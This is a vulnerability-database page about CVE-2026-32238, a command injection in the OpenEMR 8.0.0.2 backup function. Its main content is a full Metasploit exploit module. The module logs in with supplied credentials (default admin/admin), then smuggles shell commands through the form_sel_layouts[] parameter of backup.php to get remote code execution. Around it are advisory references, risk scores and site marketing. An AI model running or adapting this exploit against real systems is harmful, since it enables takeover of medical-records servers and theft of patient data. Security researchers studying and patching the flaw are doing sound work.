📄 OpenEMR 8.0.0.2 Remote Code Execution
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-32238 | 19 Mar 202619:30 | – | attackerkb | |
| OpenEMR Arbitrary Command Execution | 13 Apr 202600:00 | – | bdu_fstec | |
| CVE-2026-32238 | 19 Mar 202619:16 | – | circl | |
| OpenEMR operating system command injection vulnerability | 19 Mar 202600:00 | – | cnnvd | |
| CVE-2026-32238 | 19 Mar 202619:30 | – | cve | |
| CVE-2026-32238 OpenEMR has Remote Code Execution in backup functionality | 19 Mar 202619:30 | – | cvelist | |
| EUVD-2026-13158 | 19 Mar 202619:30 | – | euvd | |
| CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0 | 24 Oct 202621:51 | – | kitploit | |
| CVE-2026-32238 | 19 Mar 202619:30 | – | mend | |
| CVE-2026-32238 | 19 Mar 202620:16 | – | nvd |
10
==================================================================================================================================
| # Title : OpenEMR 8.0.0.2 Remote Code Execution Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads |
==================================================================================================================================
[+] Summary : This Metasploit exploit module targets a potential Remote Code Execution (RCE) vulnerability in OpenEMR systems identified as CVE-2026-32238.
The module combines authentication handling, HTTP request manipulation, and command injection capabilities to achieve remote command execution on vulnerable installations.
[+] POC :
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenEMR CVE-2026-32238 RCE ',
'Description' => 'Remote Code Execution Module',
'Author' => ['indoushka'],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(443),
OptBool.new('SSL', [true, 'SSL', true]),
OptString.new('TARGETURI', [true, 'Path', '/openemr/']),
OptString.new('USERNAME', [true, 'User', 'admin']),
OptString.new('PASSWORD', [true, 'Pass', 'admin']),
OptInt.new('TIMEOUT', [true, 'Timeout', 10])
])
@cookie = nil
end
def uri(path)
normalize_uri(datastore['TARGETURI'], path)
end
def authenticate
res = send_request_cgi({
'method' => 'POST',
'uri' => uri('interface/main/main_screen.php'),
'vars_post' => {
'authUser' => datastore['USERNAME'],
'clearPass' => datastore['PASSWORD']
},
'timeout' => datastore['TIMEOUT']
})
return false unless res
if res.get_cookies =~ /OpenEMR=([^;]+)/
@cookie = "OpenEMR=#{$1}"
return true
end
false
end
def inject(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => uri('interface/main/backup.php'),
'cookie' => @cookie,
'vars_post' => {
'form_step' => '102',
'form_sel_layouts[]' => cmd
},
'timeout' => datastore['TIMEOUT']
})
res && res.code == 200
end
def execute_command(cmd, _opts = {})
payload = "LBF\"';#{cmd} #"
print_status("Injecting: #{cmd}")
unless inject(payload)
fail_with(Failure::NotVulnerable, 'Injection failed')
end
end
def exploit
unless authenticate
fail_with(Failure::NoAccess, 'Auth failed')
end
print_status("Target: #{rhost}")
execute_command(payload.encoded)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Apr 2026 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.1
EPSS0.02677
SSVC